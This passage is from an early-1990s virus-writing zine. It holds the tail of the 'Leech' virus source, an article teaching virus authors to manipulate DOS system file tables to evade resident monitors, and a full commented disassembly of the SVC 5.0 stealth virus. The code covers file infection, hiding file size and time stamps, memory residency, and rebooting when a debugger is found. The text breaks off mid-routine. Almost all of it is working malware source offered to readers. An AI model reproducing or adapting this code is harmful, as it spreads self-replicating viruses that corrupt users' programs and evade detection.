mov ah,2Fh ; Get DTA
call callint21
cmp byte ptr es:[bx],0FFh ; extended FCB?
jne noextendedFCB
add bx,7 ; convert to normal
noextendedFCB:
mov ax,es:[bx+17h] ; Get time
and ax,1Fh ; and check infection stamp
cmp ax,1Eh
jne exitfindfirstnext
mov ax,es:[bx+1Dh]
cmp ax,virlength * 2 + 1 ; too small for infection?
jb exitfindfirstnext ; then not infected
sub ax,virlength ; alter file size
mov es:[bx+1Dh],ax
exitfindfirstnext:
pop es
pop bx
pop ax
iret
int24:
mov al,3
iret
callint21:
pushf
call dword ptr cs:oldint21
retn
movefilepointer:
xor cx,cx
mov ax,4200h
call callint21
retn
execute:
push ax
push bx
mov cs:runningflag,0
mov ax,3D00h ; open file read/only
call callint21
mov bx,ax
mov ah,3Eh ; close file
int 21h ; to trigger infection
pop bx
pop ax
go_exitint21:
jmp short exitint21
handleclose:
or cs:runningflag,0 ; virus currently active?
jnz go_exitint21
push cx
push dx
push di
push es
push ax
push bx
call getint13and24
call setint13and24
; convert handle to filename
mov ax,1220h ; get job file table entry
int 2Fh
jc handleclose_noinfect ; exit on error
mov ax,1216h ; get address of SFT
mov bl,es:[di]
xor bh,bh
int 2Fh ; es:di->file entry in SFT
mov ax,es:[di+11h]
mov cs:filesize,ax ; save file size,
mov ax,es:[di+0Dh]
and al,0F8h
mov cs:timestore,ax ; time,
mov ax,es:[di+0Fh]
mov cs:datestore,ax ; and date
cmp word ptr es:[di+29h],'MO' ; check for COM extension
jne handleclose_noinfect
cmp byte ptr es:[di+28h],'C'
jne handleclose_noinfect
cmp cs:filesize,0FA00h ; make sure not too large
jae handleclose_noinfect
mov al,20h ; alter file attribute
xchg al,es:[di+4]
mov ah,2 ; alter open mode to read/write
xchg ah,es:[di+2]
pop bx
push bx
push ax
call infect
pop ax
mov es:[di+4],al ; restore file attribute
mov es:[di+2],ah ; and open mode
mov cx,cs:timestore
jc infection_not_successful
or cl,1Fh ; make file infected in
and cl,0FEh ; seconds field
infection_not_successful:
mov dx,cs:datestore ; restore file time/date
mov ax,5701h
call callint21
handleclose_noinfect:
pop bx
pop ax
pop es
pop di
pop dx
pop cx
call callint21
call setint13and24
retf 2 ; exit with flags intact
getint13and24:
mov ah,13h ; Get BIOS int 13h handler
int 2Fh
mov cs:oldint13,bx
mov cs:oldint13+2,es
int 2Fh ; Restore it
mov cs:oldint24,offset int24
mov cs:oldint24+2,cs
retn
setint13and24:
push ax
push si
push ds
pushf
cli
cld
xor ax,ax
mov ds,ax ; ds->interrupt table
mov si,13h*4
lodsw
xchg ax,cs:oldint13 ; replace old int 13 handler
mov [si-2],ax ; with original BIOS handler
lodsw
xchg ax,cs:oldint13+2
mov [si-2],ax
mov si,24h*4 ; replace old int 24 handler
lodsw ; with our own handler
xchg ax,cs:oldint24
mov [si-2],ax
lodsw
xchg ax,cs:oldint24+2
mov [si-2],ax
popf
pop ds
pop si
pop ax
retn
message db 'The leech live ...', 0
db 'April 1991 The Topler.'
db 0, 0, 0, 0, 0
encrypt_value1 db 0
readbuffer dw 0
db 253 dup (0)
nothing1 db 0
db 152 dup (0)
encrypt_value2 db 0
db 614 dup (0)
encrypted_file db 0
db 1280 dup (0)
carrier:
dw 20CDh
end leech
-------------------------------------------------------------------------------
40Hex Issue 11 Volume 3 Number 2 File 006
?????????????????????
SFT's and Their Usage
?????????????????????
By Dark Angel
Phalcon/Skism
?????????????????????
A powerful though seldom-used technique in virus writing is the use of
the system file table, an internal DOS structure similar in some respects to
FCBs, albeit vastly more powerful. The system file table holds the critical
information on the state of an open file, including the current pointer
location, the open mode, and the file size. Manipulation of the system file
tables can often replace calls to corresponding DOS interrupt routines and
therefore, when combined with other techniques, reduces the effectiveness of
a TSR virus monitor and decreases code size.
Each open file has a corresponding system file table. The following
tables come from Ralf Brown's interrupt listing.
Format of DOS 2.x system file tables:
Offset Size Description
00h DWORD pointer to next file table
04h WORD number of files in this table
06h 28h bytes per file
Offset Size Description
00h BYTE number of file handles referring to this file
01h BYTE file open mode (see AH=3Dh)
02h BYTE file attribute
03h BYTE drive (0 = character device, 1 = A, 2 = B, etc)
04h 11 BYTEs filename in FCB format (no path, no period,
blank-padded)
0Fh WORD ???
11h WORD ???
13h DWORD file size???
17h WORD file date in packed format (see AX=5700h)
19h WORD file time in packed format (see AX=5700h)
1Bh BYTE device attribute (see AX=4400h)
---character device---
1Ch DWORD pointer to device driver
---block device---
1Ch WORD starting cluster of file
1Eh WORD relative cluster in file of last cluster accessed
------
20h WORD absolute cluster number of current cluster
22h WORD ???
24h DWORD current file position???
Format of DOS 3.x system file tables and FCB tables:
Offset Size Description
00h DWORD pointer to next file table
04h WORD number of files in this table
06h 35h bytes per file
Offset Size Description
00h WORD number of file handles referring to this file
02h WORD file open mode (see AH=3Dh)
bit 15 set if this file opened via FCB
04h BYTE file attribute
05h WORD device info word (see AX=4400h)
07h DWORD pointer to device driver header if character device
else pointer to DOS Drive Parameter Block (see AH=32h)
0Bh WORD starting cluster of file
0Dh WORD file time in packed format (see AX=5700h)
0Fh WORD file date in packed format (see AX=5700h)
11h DWORD file size
15h DWORD current offset in file
19h WORD relative cluster within file of last cluster accessed
1Bh WORD absolute cluster number of last cluster accessed
0000h if file never read or written???
1Dh WORD number of sector containing directory entry
1Fh BYTE number of dir entry within sector (byte offset/32)
20h 11 BYTEs filename in FCB format (no path/period, blank-padded)
2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file
2Fh WORD (SHARE.EXE) network machine number which opened file
31h WORD PSP segment of file's owner (see AH=26h)
33h WORD offset within SHARE.EXE code segment of
sharing record (see below) 0000h = none
Format of DOS 4+ system file tables and FCB tables:
Offset Size Description
00h DWORD pointer to next file table
04h WORD number of files in this table
06h 3Bh bytes per file
Offset Size Description
00h WORD number of file handles referring to this file
02h WORD file open mode (see AH=3Dh)
bit 15 set if this file opened via FCB
04h BYTE file attribute
05h WORD device info word (see AX=4400h)
bit 15 set if remote file
bit 14 set means do not set file date/time on closing
07h DWORD pointer to device driver header if character device
else pointer to DOS Drive Parameter Block (see AH=32h)
or REDIR data
0Bh WORD starting cluster of file
0Dh WORD file time in packed format (see AX=5700h)
0Fh WORD file date in packed format (see AX=5700h)
11h DWORD file size
15h DWORD current offset in file
---local file---
19h WORD relative cluster within file of last cluster accessed
1Bh DWORD number of sector containing directory entry
1Fh BYTE number of dir entry within sector (byte offset/32)
---network redirector---
19h DWORD pointer to REDIRIFS record
1Dh 3 BYTEs ???
------
20h 11 BYTEs filename in FCB format (no path/period, blank-padded)
2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file
2Fh WORD (SHARE.EXE) network machine number which opened file
31h WORD PSP segment of file's owner (see AH=26h)
33h WORD offset within SHARE.EXE code segment of
sharing record (see below) 0000h = none
35h WORD (local) absolute cluster number of last clustr
accessed (redirector) ???
37h DWORD pointer to IFS driver for file, 0000000h if native DOS
In order to exploit this nifty structure in DOS, the virus must first
find the location of the appropriate system file table. This may be easily
accomplished with a few undocumented DOS calls. Given the file handle in
bx, the following code will return the address of the corresponding system
file table:
mov ax,1220h ; Get job file table entry to ES:DI
int 2fh ; DOS 3+ only
mov bl,es:di ; get number of the SFT for the file handle
; -1 = handle not open
mov ax,1216h ; get address of the system file table
int 2fh ; entry number bx
; ES:DI now points to the system file table entry
Now that the system file table entry address is known, it is a trivial
matter to alter the various bytes of the entry to fit your particular needs.
Most viruses must first clear a file's attributes in order to open the file
in read/write mode, since it would otherwise not be able to write to a read-
only file. This handicap is easily overcome by opening the file in read-
only mode (al = 0) and changing the byte (or word) referring to the file's
open mode to 2. This has the added benefit of bypassing some resident
alarms, which generally do not go off if a file is opened in read only mode.
It is also possible to set a file's pointer by altering the double word at
offset 15h (in DOS 3+). So a quick and easy way to reset the file pointer
is:
mov es:di+15h,0
mov es:di+17h,0
It is acceptable to ignore the DOS 2.X system file table format. DOS
2.X is not in common use today and many programs simply refuse to run under
such primitive versions. Most of the useful offsets are constant in DOS
3.X+, which simplifies the code tremendously.
This is only a surface treatment of a topic which warrants further
investigation. Numerous opportunities exist for the enterprising virus
author to exploit the power of the system file tables. But the only way to
find these opportunities is to experiment. Have fun!
40Hex Issue 11 Volume 3 Number 2 File 007
SVC 5.0
SVC 5.0 is a good example of a true stealth virus. Cheesy, primitive
stealth-wanna-be viruses "disinfect" by rewriting the files on the disk.
Not so with SVC 5.0 and all real stealth viruses, which alter only the memory
image of the file, leaving the original intact. This has advantages,
including:
o Time savings
o Fewer disk accesses
o No additional disk writes are required
General Notes:
SVC 5.0 is a parasitic, resident COM and EXE infector. It does not
have encryption, but this is offset by the true stealth capabilities of the
virus. Although it hides the file length increase, the virus does not suffer
from the dreaded CHKDSK crosslinking errors experienced by many early stealth
viruses. However, the code to overcome this problem is kludgily implemented;
the virus detects execution of programs with the "HK" and "DS" strings in the
filename. Although this helps with CHKDSK, it won't help with other programs
which work in CHKDSK's asinine fashion.
-- Dark Angel
Phalcon/Skism 1993
-------------------------------------------------------------------------------
.model tiny
.code
; SVC 5-A
; Disassembly done by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m SVC5-A
org 0
start:
call next
next:
pop si
db 83h,0EEh,3 ; sub si,offset next
mov word ptr cs:[si+offset storeAX],ax
push es
push si
xor dx,dx
mov ah,84h ; installation check
int 21h
pop si
push si
cmp dx,1990h
jne installvirus
cmp bh,byte ptr cs:[si+versionbyte]
ja go_exitvirus
jc installvirus
push si
push es
xchg ah,al ; convert ax to virus
xor ax,0FFFFh ; CS
mov es,ax ; es->resident virus
push cs
pop ds
xor di,di
mov cx,begindata - start - 1; same version?
cld
repe cmpsb
pop es
pop si
jz go_exitvirus ; yes, exit
jmp reboot ; else reboot
go_exitvirus:
jmp exitvirus
installvirus:
push es
xor ax,ax
mov ds,ax
les ax,dword ptr ds:21h*4 ; save old int 21h
mov cs:[si+oldint21],ax ; handler
mov word ptr cs:[si+oldint21+2],es
les ax,dword ptr ds:8*4 ; save old int 8 handler
mov cs:[si+oldint8],ax
mov word ptr cs:[si+oldint8+2],es
pop es
mov cs:[si+carrierPSP],es ; save current PSP
mov ah,49h ; Release memory @ PSP
int 21h
jc exitvirus ; exit on error
mov ah,48h ; Find total memory size
mov bx,0FFFFh
int 21h
sub bx,(viruslength+15)/16+1; shrink allocation for carrier
jc exitvirus
mov cx,es ; compute new memory
stc ; block location
adc cx,bx
mov ah,4Ah ; Allocate memory for carrier
int 21h
mov bx,(viruslength+15)/16
stc
sbb es:[2],bx ; fix high memory field in PSP
mov es,cx
mov ah,4Ah ; Allocate memory for virus
int 21h
mov ax,es ; Go to virus MCB
dec ax
mov ds,ax
mov word ptr ds:[1],8 ; mark owner = DOS
mov ax,cs:[si+carrierPSP] ; go back to carrier PSP
dec ax ; go to its MCB
mov ds,ax
mov byte ptr ds:[0],'Z' ; mark it end of block
push cs
pop ds
xor di,di ; copy virus to high memory
mov cx,viruslength + 1
cld
rep movsb
xor ax,ax
mov ds,ax
cli ; and set up virus
mov word ptr ds:21h*4,offset int21
mov word ptr ds:21h*4+2,es ; interrupt handlers
mov word ptr ds:8*4,offset int8
mov word ptr ds:8*4+2,es
exitvirus:
sti
push cs
pop ds
pop si
push si
mov ah,byte ptr cs:[si+offset encryptval1]
mov dh,byte ptr cs:[si+offset encryptval2]
add si,offset savebuffer
call decrypt
pop si
pop es
cld
cmp cs:[si+offset savebuffer],'ZM'
je returnEXE
mov di,100h
push cs
pop ds
push cs
pop es
push si
add si,offset savebuffer
movsb
movsw
pop si
mov ax,100h
push ax
mov ax,word ptr cs:[si+offset storeAX]
retn
returnEXE:
mov bx,es
add bx,10h
add bx,cs:[si+savebuffer+16h]
mov word ptr cs:[si+jmpcs],bx
mov bx,cs:[si+savebuffer+14h]
mov word ptr cs:[si+jmpip],bx
mov bx,es
mov ds,bx
add bx,10h
add bx,cs:[si+savebuffer+0eh]
cli
mov ss,bx
mov sp,cs:[si+savebuffer+10h]
sti
mov ax,word ptr cs:[si+offset storeAX]
db 0EAh ; jmp far ptr
jmpip dw 0
jmpcs dw 0
int21:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov word ptr cs:int21command,ax
cmp word ptr cs:int21command,4B03h ; load/no PSP
je _load_noexecute
cmp word ptr cs:int21command,4B01h ; load/no execute
je _load_noexecute
cmp word ptr cs:int21command,4B00h ; load/execute
je _load_execute
cmp ah,3Dh ; handle open
je _handleopen
cmp ah,3Eh ; handle close
je _handleclose
cmp ah,40h ; handle write
je _handlewrite
cmp ah,4Ch ; terminate
je _terminate
jmp short exitint21
nop
_terminate:
jmp terminate
_handlewrite:
jmp handlewrite
_load_noexecute:
jmp load_noexecute
_handleclose:
jmp handleclose
_handlecreate:
jmp handlecreate
_load_execute:
jmp load_execute
_handleopen:
jmp handleopen
_FCBfindfirstnext:
jmp FCBfindfirstnext
_ASCIIfindfirstnext:
jmp ASCIIfindfirstnext
_handlegoEOF:
jmp handlegoEOF
_handleopen2:
jmp handleopen2
_handleread:
jmp handleread
_getsetfiletime:
jmp getsetfiletime
return:
retn
load_execute_exit:
call restoreint24and23
jmp short exitint21
nop
restoreint24and23:
xor ax,ax
mov ds,ax
mov ax,cs:oldint24
mov ds:24h*4,ax
mov ax,cs:oldint24+2
mov word ptr ds:24h*4+2,ax
mov ax,cs:oldint23
mov ds:23h*4,ax
mov ax,cs:oldint23+2
mov word ptr ds:23h*4+2,ax
retn
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ah,3Ch ; handlecreate
je _handlecreate
cmp ah,83h ; installation check for
je old_installation_check ; other versions of SVC
cmp ah,84h ; installation check for
je installation_check ; this version of SVC
cmp ah,4Eh ; find first?
je _ASCIIfindfirstnext
cmp ah,4Fh ; find next?
je _ASCIIfindfirstnext
cmp ah,11h ; find first
je _FCBfindfirstnext
cmp ah,12h ; find next
je _FCBfindfirstnext
cmp ax,4202h ; go EOF
je _handlegoEOF
cmp ah,3Dh ; handle open
je _handleopen2
cmp ah,3Fh ; handle read
je _handleread
cmp ah,57h ; get/set file time
je _getsetfiletime
popf ; chain to original int
jmp dword ptr cs:oldint21 ; 21h handler
callint21:
cli
pushf
call dword ptr cs:oldint21
retn
installation_check:
popf
mov bh,cs:versionbyte
mov ax,cs
xor ax,0FFFFh
xchg ah,al
common_installation_check_return:
mov dx,1990h
iret
old_installation_check:
popf
jmp short common_installation_check_return
popdsdx_return:
pop dx
pop ds
jmp return
load_execute:
call check_chkdsk
call infectdsdx
jmp load_execute_exit
infectdsdx:
call setint24and23
jmp short infectdsdx_continue
nop
setint24and23:
xor ax,ax
mov es,ax
les ax,dword ptr es:24h*4
mov cs:oldint24,ax
mov cs:oldint24+2,es
xor ax,ax
mov es,ax
les ax,dword ptr es:23h*4
mov cs:oldint23,ax
mov cs:oldint23+2,es
xor ax,ax
mov es,ax
mov word ptr es:24h*4,offset int24
mov word ptr es:24h*4+2,cs
mov word ptr es:23h*4,offset int23
mov word ptr es:23h*4+2,cs
retn
infectdsdx_continue:
push ds
push dx
cmp byte ptr cs:tickcount,3Ch ; don't infect too early
jb popdsdx_return ; after previous one
mov ax,4300h ; get file attributes
call callint21
jc popdsdx_return
mov cs:fileattr,cx
and cl,0FEh ; turn off r/o bit
mov ax,4301h ; and reset file attributes
call callint21
jc popdsdx_return
mov cx,cs:fileattr
and cl,4 ; test cl,4
cmp cl,4 ; check system attribute
je infecthandle_exit ; exit if set
mov ax,3D02h ; open file read/write
call callint21
jc infecthandle_exit
mov bx,ax ; handle to bx
push dx ; save file name pointer
mov ax,5700h ; get file time/date
call callint21
pop dx
and cx,1Eh ; check if seconds = 60
cmp cx,1Eh ; (infection marker)
jne infect_dsdx_checkmo ; continue if not so marked
jmp short infecthandle_alreadyinfected
nop
infect_dsdx_checkmo:
call check_command_com
jnc infecthandle
jmp short infecthandle_alreadyinfected
nop
check_command_com:
cld
mov si,dx
check_command_com_loop:
lodsw
cmp ax,'MM' ; COMMAND.COM?
je check_command_com_yes
cmp ax,'mm'
je check_command_com_yes
cmp ax,'MB' ; IBMBIO/IBMDOS?
je check_command_com_yes
cmp ax,'mb'
je check_command_com_yes
cmp ah,0
je check_command_com_no
dec si
jmp short check_command_com_loop
check_command_com_yes:
stc
retn
check_command_com_no:
clc
retn
infecthandle_exit:
jmp popdsdx_return
infecthandle:
cmp bx,5 ; check if handle too
jb infecthandle_exit ; small (predefined)
call checkifinfected
jnc infecthandle_alreadyinfected
call infect_handle
infecthandle_alreadyinfected:
mov ah,3Eh ; Close file
call callint21
pop dx
pop ds
jc infecthandle_exit2
mov ax,4301h ; restore file attributes
mov cx,cs:fileattr
call callint21
infecthandle_exit2:
jmp return
infect_handle_exit:
jmp infect_handle_error
infect_handle:
mov ax,5700h ; get file time/date
call callint21
mov cs:filetime,cx
mov cs:filedate,dx
xor cx,cx
xor dx,dx
mov ax,4200h ; go to start of file
call callint21
push cs
pop ds
mov cx,18h ; read header
mov dx,offset savebuffer
mov ah,3Fh
call callint21
jc infect_handle_exit
push cs
pop es
push cs
pop ds
mov si,offset savebuffer ; copy to work buffer
mov di,offset workbuffer
mov cx,18h
cld
rep movsb
mov ax,2C00h
call callint21
mov byte ptr cs:encryptval2,dh
mov byte ptr cs:encryptval1,dl
mov ah,dl
mov si,offset savebuffer
call decrypt
cmp cs:workbuffer,'ZM' ; check if EXE
je infect_handle_EXE
mov cs:workbuffer,0E9h ; encode the jmp
xor cx,cx
xor dx,dx
mov ax,4202h ; get file size
call callint21
cmp dx,0
jne infect_handle_exit
cmp ax,viruslength
jb infect_handle_exit
cmp ax,0EDE1h ; check if too large
jae infect_handle_exit
sub ax,3 ; adjust size to jmp location
mov word ptr cs:workbuffer+1,ax
call writevirusandheader ; write virus to file
jmp infect_handle_finish
writevirusandheader:
push cs
pop ds
xor dx,dx
mov cx,viruslength
mov ah,40h ; concatenate virus
call callint21
jc writevirusandheader_exit
cmp ax,viruslength
jne writevirusandheader_exit
xor cx,cx
xor dx,dx
mov ax,4200h ; go to start of file
call callint21
jc writevirusandheader_exit
mov dx,offset workbuffer ; write new header to file
mov ah,40h
mov cx,18h
call callint21
retn
writevirusandheader_exit:
stc
retn
infect_handle_EXE:
xor cx,cx ; go to end of file
xor dx,dx
mov ax,4202h
call callint21
push dx ; save file size
push ax
mov si,ax
xor ax,ax
xchg ax,dx
mov di,1000h
mul di
mov dx,ax
mov ax,si
mov si,dx
xor dx,dx
mov di,10h ; convert to paragraphs
div di
add ax,si
xchg ax,dx
sub dx,cs:workbuffer+8 ; subtract header size
mov word ptr cs:workbuffer+16h,dx ; insert new initial
mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
pop ax
pop dx
add ax,viruslength ; calculate new image
adc dx,0 ; size mod 512 and div 512
mov di,200h
div di
cmp dx,0
je infect_handle_EXE_nofixup
add ax,1 ; pagelength fixup
infect_handle_EXE_nofixup:
mov cs:workbuffer+4,ax
mov cs:workbuffer+2,dx
mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP
mov word ptr cs:workbuffer+0Eh,ds
mov ax,word ptr cs:workbuffer+14h
add ax,17D7h
mov word ptr cs:workbuffer+10h,ax
call writevirusandheader ; write virus to file
jmp short infect_handle_finish
nop
infect_handle_error:
stc
infect_handle_finish:
mov ax,5701h ; restore file time/date
mov cx,cs:filetime
mov dx,cs:filedate
jc infect_handle_noreset
and cx,0FFFEh ; but set seconds to
or cx,1Eh ; 60
mov byte ptr cs:tickcount,0 ; reset tickcount
infect_handle_noreset:
call callint21
retn
int23:
iret
int24:
mov al,3
iret
load_noexecute_exit:
jmp load_noexecute_closeexit
load_noexecute:
call setint24and23
push ds
push dx
mov ax,4300h ; get file attributes
call callint21
jc load_noexecute_exit
mov cs:fileattr,cx
and cl,0FEh ; turn off r/o bit
mov ax,4301h ; reset attributes
call callint21
jc load_noexecute_exit
mov ax,3D02h ; open file read/write
call callint21
jc load_noexecute_exit
mov bx,ax ; handle to bx
call checkifinfected
jc load_noexecute_exit
jmp short load_noexecute_disinfect
nop
checkifinfected_exit:
stc ; mark infected
retn ; and exit
checkifinfected:
mov ax,5700h ; get file time/date
call callint21
mov cs:filedate,dx
mov cs:filetime,cx
and cx,1Fh
cmp cx,1Eh
jne checkifinfected_exit
xor cx,cx
xor dx,dx
mov ax,4202h ; go to end of file
call callint21
jc checkifinfected_exit
mov cs:filesizelo,ax ; save filesize
mov cs:filesizehi,dx
sub ax,endvirus - infection_marker
sbb dx,0
mov cx,ax
xchg cx,dx
mov ax,4200h ; rewind to infection
call callint21 ; marker
jc checkifinfected_exit
push cs
pop ds
mov ah,3Fh ; read file
mov cx,3
mov dx,offset savebuffer
call callint21
jc checkifinfected_exit
push cs
pop es
mov si,offset savebuffer ; check for infection
mov di,offset infection_marker
mov cx,3 ; marker
repne cmpsb
jnz checkifinfected_exit
clc ; mark not infected
retn ; and exit
load_noexecute_disinfect:
call disinfect
jmp load_noexecute_closeexit
disinfect_exit:
jmp disinfect_error
disinfect:
mov dx,cs:filesizelo
mov cx,cs:filesizehi
sub dx,75h ; go to savebuffer
nop
sbb cx,0
mov ax,4200h
call callint21
jc disinfect_exit
jmp short disinfect_file
nop
jmp load_noexecute_closeexit
disinfect_file:
push cs
pop ds
mov ah,3Fh ; Read carrier's
mov cx,18h ; original header
mov dx,offset savebuffer
push cs
pop ds
call callint21
jc disinfect_exit
mov dx,cs:filesizelo ; go to decryption
mov cx,cs:filesizehi ; values
sub dx,endvirus - encryptval1
nop
sbb cx,0
mov ax,4200h
call callint21
mov dx,offset encryptval1
mov ah,3Fh ; read decryption values
mov cx,2
call callint21
mov si,offset savebuffer
mov ah,byte ptr cs:encryptval1
mov dh,byte ptr cs:encryptval2
call decrypt ; decrypt old header
xor cx,cx
xor dx,dx
mov ax,4200h
call callint21
jc disinfect_error
mov ah,40h ; Write old header to
mov cx,18h ; file
mov dx,offset savebuffer
call callint21
jc disinfect_error
mov dx,cs:filesizelo
mov cx,cs:filesizehi
sub dx,viruslength
sbb cx,0 ; go to end of carrier
mov ax,4200h ; file and
call callint21
jc disinfect_error
mov ah,40h ; truncate file
xor cx,cx ; at current position
call callint21
jc disinfect_error
mov ax,5701h ; restore file time/date
mov dx,cs:filedate
mov cx,cs:filetime
xor cx,1Fh
call callint21
retn
disinfect_error:
stc ; mark error
retn
load_noexecute_closeexit:
mov ah,3Eh ; Close file and
call callint21
mov ax,4301h ; restore attributes
mov cx,offset fileattr ; BUG!!!
pop dx
pop ds
call callint21
call restoreint24and23
jmp exitint21
FCBfindfirstnext:
call dword ptr cs:oldint21 ; prechain
pushf
pop cs:returnFlags
cmp al,0FFh
je FCBfindfirstnext_exit
cmp cs:chkdskflag,0
jne FCBfindfirstnext_exit
push ax
push bx
push cx
push dx
push es
push ds
mov ah,2Fh ; Get DTA
call callint21
cmp word ptr es:[bx],0FFh ; extended FCB?
jne FCBfindfirstnext_noextendedFCB
add bx,8 ; convert if so
FCBfindfirstnext_noextendedFCB:
mov ax,es:[bx+16h]
and ax,1Fh ; check if seconds = 60
cmp ax,1Eh
jne FCBfindfirstnext_notinfected
xor word ptr es:[bx+16h],1Fh; fix seconds field
sub word ptr es:[bx+1Ch],viruslength
sbb word ptr es:[bx+1Eh],0 ; shrink size
FCBfindfirstnext_notinfected:
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
FCBfindfirstnext_exit:
pop cs:storesIP
pop cs:storesCS
popf
push cs:returnFlags
push cs:storesCS
push cs:storesIP
iret
ASCIIfindfirstnext:
call dword ptr cs:oldint21 ; prechain
pushf
pop cs:returnFlags
jc ASCIIfindfirstnext_exit
cmp cs:chkdskflag,0
jne ASCIIfindfirstnext_exit
push ax
push bx
push cx
push dx
push es
push ds
mov ah,2Fh ; Get DTA
call callint21
mov ax,es:[bx+16h] ; get file time
and ax,1Fh ; to check if file
cmp ax,1Eh ; infected
jne ASCIIfindfirstnext_notinfected
xor word ptr es:[bx+16h],1Fh ; hide time change
sub word ptr es:[bx+1Ah],viruslength; and file length
sbb word ptr es:[bx+1Ch],0 ; change
ASCIIfindfirstnext_notinfected:
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ASCIIfindfirstnext_exit:
pop cs:storesIP
pop cs:storesCS
popf
push cs:returnFlags
push cs:storesCS
push cs:storesIP
iret
handleopen:
call check_infectok
jnc handleopen_continue
jmp exitint21
check_infectok:
cld
mov si,dx
lodsw
cmp ah,':'
jne check_infectok_nodrive
cmp al,'a' ; make sure not floppy
je check_infectok_exit
cmp al,'A'
je check_infectok_exit
cmp al,'B'
jb check_infectok_exit ; BUG
cmp al,'b'
je check_infectok_exit
jmp short check_extension
nop
check_infectok_exit:
jmp short check_extension_notok
nop
check_infectok_nodrive:
mov ah,19h ; get default drive
call callint21
cmp al,2 ; make sure not floppy
jae check_extension
jmp short check_extension_notok
db 90h
check_extension:
cld
mov si,dx
check_extension_findextension:
lodsb
cmp al,'.'
je check_extension_foundextension
cmp al,0
jne check_extension_findextension
jmp short check_extension_notok
db 90h
check_extension_foundextension:
lodsw
cmp ax,'OC'
je check_extension_checkcom
cmp ax,'oc'
je check_extension_checkcom
cmp ax,'XE'
je check_extension_checkexe
cmp ax,'xe'
je check_extension_checkexe
jmp short check_extension_notok
db 90h
check_extension_checkcom:
lodsb
cmp al,'M'
je check_extension_ok
cmp al,'m'
je check_extension_ok
jmp short check_extension_notok
db 90h
check_extension_checkexe:
lodsb
cmp al,'E'
je check_extension_ok
cmp al,'e'
je check_extension_ok
jmp short check_extension_notok
db 90h
check_extension_ok:
clc
retn
check_extension_notok:
stc
retn
handleopen_continue:
call infectdsdx
call restoreint24and23
jmp exitint21
handlecreate:
mov word ptr cs:storess,ss ; preserve ss and sp
mov word ptr cs:storesp,sp
call dword ptr cs:oldint21
cli
mov ss,word ptr cs:storess
mov sp,word ptr cs:storesp
sti
pop cs:returnFlags ; save return flags
pushf
push ax
push bx
push cx
push ds
push es
push si
push di
jc handlecreate_exit
push dx
push ax
call check_extension
pop ax
pop dx
jc handlecreate_exit
push ax
call check_command_com
pop ax
jc handlecreate_exit
mov cs:handletoinfect,ax ; save handle to infect
; upon close
handlecreate_exit:
pop di
pop si
pop es
pop ds
pop cx
pop bx
pop ax
jmp exit_replaceflags
handleclose_exit:
mov cs:filehand,0
jmp exitint21
handleclose:
cmp bx,0
jne handleclose_continue
jmp exitint21
handleclose_continue:
cmp bx,cs:handletoinfect
je handleclose_infect
cmp bx,cs:filehand
je handleclose_exit
jmp exitint21
handleclose_infect:
mov ah,45h ; Duplicate file handle
call callint21
jc handleclose_infect_exit
xchg ax,bx
call setint24and23
call handleclose_infecthandle
call restoreint24and23
handleclose_infect_exit:
mov cs:handletoinfect,0
jmp exitint21
handleclose_infecthandle:
push ds
push dx
jmp infecthandle
int8:
push ax
push ds
pushf
cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
je int8checkint1
inc cs:tickcount ; one mo tick
int8checkint1:
xor ax,ax
mov ds,ax
cmp word ptr ds:1*4,offset int1 ; int 1 changed?
jne int8setint1 ; fix it if so
mov ax,cs
cmp word ptr ds:1*4+2,ax
jne int8setint1
int8checkint3:
cmp word ptr ds:3*4,offset int3 ; int 3 changed?
jne int8setint3 ; fix it if so
mov ax,cs
cmp word ptr ds:3*4+2,ax
jne int8setint3
exitint8:
popf
pop ds
pop ax
jmp dword ptr cs:oldint8
int8setint1:
push es
les ax,dword ptr ds:1*4
mov cs:oldint1,ax
mov word ptr cs:oldint1+2,es
mov word ptr ds:1*4,offset int1
mov word ptr ds:1*4+2,cs
pop es
jmp short int8checkint3
int8setint3:
push es
les ax,dword ptr ds:3*4
mov cs:oldint3,ax
mov word ptr cs:oldint3+2,es
mov word ptr ds:3*4,offset int3
mov word ptr ds:3*4+2,cs
pop es
jmp short exitint8
int3: ; reboot if debugger
push bp ; is active
push ax
mov bp,sp
add bp,6
mov bp,[bp]
mov ax,cs
cmp bp,ax
pop ax
pop bp
jz reboot
jmp dword ptr cs:oldint3
exitint1:
iret
int1:
push bp ; this routine doesn't
push ax ; do very much that's
mov bp,sp ; meaningful
add bp,6
mov bp,[bp]
mov ax,cs
cmp bp,ax
pop ax
pop bp
jz exitint1
jmp dword ptr cs:oldint1
reboot:
db 0EAh ; jmp F000:FFF0
db 0F0h, 0FFh, 0, 0F0h ; (reboot)
decrypt:
push bx
push es
call decrypt_next
decrypt_next:
pop bx
mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
nop
mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh
nop
push ds
pop es
mov di,si
mov cx,18h
cld
decrypt_loop:
lodsb
db 0FFh, 0C4h ; inc sp
stosb
db 0, 0E6h ; add dh,ah
loop decrypt_loop
mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp
mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why?
pop es
pop bx
retn
handlegoEOF:
popf
cmp cs:filehand,bx ; currently working on this?
jne handlegoEOFexit
mov cs:tempstoreDX,dx ; save offset from EOF
mov cs:tempstoreCX,cx
xor cx,cx
xor dx,dx
call callint21 ; go to EOF
sub ax,viruslength ; shrink to carrier size
sbb dx,0
mov cx,ax
xchg cx,dx
add dx,cs:tempstoreDX ; add offset from carrier
adc cx,cs:tempstoreCX ; EOF
mov ax,4200h ; and do it
handlegoEOFexit:
jmp dword ptr cs:oldint21
handleopen2:
call dword ptr cs:oldint21
pushf
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
jc handleopen2_exit
cmp cs:filehand,0
jne handleopen2_exit
push ax
mov bx,ax
call checkifinfected
pop ax
jc handleopen2_alreadyinfected
mov cs:filehand,ax ; save file handle for
mov bx,ax ; later use
mov ax,4202h ; go to end of file
